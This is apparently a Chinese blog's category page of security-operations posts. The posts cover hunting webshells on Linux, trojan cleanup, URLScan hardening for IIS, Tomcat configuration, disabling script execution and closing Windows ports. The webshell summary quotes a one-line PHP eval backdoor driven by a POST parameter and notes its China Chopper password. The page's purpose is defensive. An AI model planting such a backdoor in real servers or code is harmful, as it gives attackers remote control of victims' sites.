随笔分类 -  09-安全运维

上一页 1 2 3
linux查找webshell
摘要：原文出处：http://my.oschina.net/longquan/blog/155905 首先认识一下小马，一般大马容易暴露，骇客都会留一手，把小马加入正常PHP文件里面 <?php eval ($_POST[a]);?> //密码为a,使用中国菜刀连接 隐藏很深的小马 fputs(fopen 阅读全文
posted @ 2016-06-30 12:29 Bypass 阅读(5458) 评论(0) 推荐(0) 编辑
木马查杀实战
摘要：参考学习网址：http://m.blog.csdn.net/article/details?id=39290941 恶意代码清除实战 http://www.freebuf.com/articles/web/83860.html 手工查杀病毒 http://www.360doc.com/content 阅读全文
posted @ 2016-06-24 08:51 Bypass 阅读(297) 评论(0) 推荐(0) 编辑
利用URLScan工具过滤URL中的特殊字符（仅针对IIS6）-- 解决IIS短文件名漏洞
摘要：IIS短文件名漏洞在windows服务器上面非常常见，也就是利用“~”字符猜解暴露短文件/文件夹名，比如，采用这种方式构造URL：http://aaa.com/abc~1/.aspx，根据IIS返回的错误信息，猜测该路径或文件是否存在，具体可参考这篇文章：http://www.freebuf.com 阅读全文
posted @ 2016-06-15 12:26 Bypass 阅读(3232) 评论(0) 推荐(0) 编辑
urlscan使用详解
摘要：0x01 简介与下载 URLScan是集成在IIS上的，可以制约的HTTP请求的安全工具。通过阻止特定的HTTP请求，URLScan安全工具有助于防止潜在的有害的请求到达服务器上的应用。 最新版URLScan 3.1，支持IIS 5.1，IIS 6和IIS 7在Windows Vista和Windo 阅读全文
posted @ 2016-06-15 12:21 Bypass 阅读(7027) 评论(0) 推荐(0) 编辑
Tomcat配置文件详解
摘要：在Tomcat安装目录中,conf存放关于Tomcat服务器的全局配置,其中tomcat-users.xml、server.xml、web.xml。 tomcat-users.xml 配置 一：tomcat6配置管理员信息 1:打开tomcat6下的 /conf/tomcat-users.xml文件 阅读全文
posted @ 2016-05-12 10:52 Bypass 阅读(660) 评论(0) 推荐(0) 编辑
window IIS6/IIS7取消脚本执行权限，禁止运行脚本木马
摘要：网站安全中，对目录的执行权限是非常敏感的，一般来说，可以写入的目录是不能够拥有脚本的执行权限的，可写入的目录如： data、uploads，data目录主要是基本配置文件和缓存数据，uploads则是附件上传保存的目录，本篇将针对不同服务器环境来介绍如何取消这些目录的执行权限，当然我们也建议用户其他 阅读全文
posted @ 2016-04-28 16:17 Bypass 阅读(7907) 评论(0) 推荐(3) 编辑
Window关闭端口的方法（445/135/137/138/139/3389等）
摘要：为防止漏洞被利用，需要采取必要措施，关闭以上端口，以保证系统更加安全。 window2003 关闭135端口的方法 要关闭此端口，只需停止DCOM接口服务即达到目的。下面是详细操作过程。 1、打开“组件服务”控制台 按 WIN+R 组合键打开运行对话框，输入“dcomcnfg”，单击“确定”，打开组 阅读全文
posted @ 2016-04-01 18:00 Bypass 阅读(6242) 评论(0) 推荐(0) 编辑

上一页 1 2 3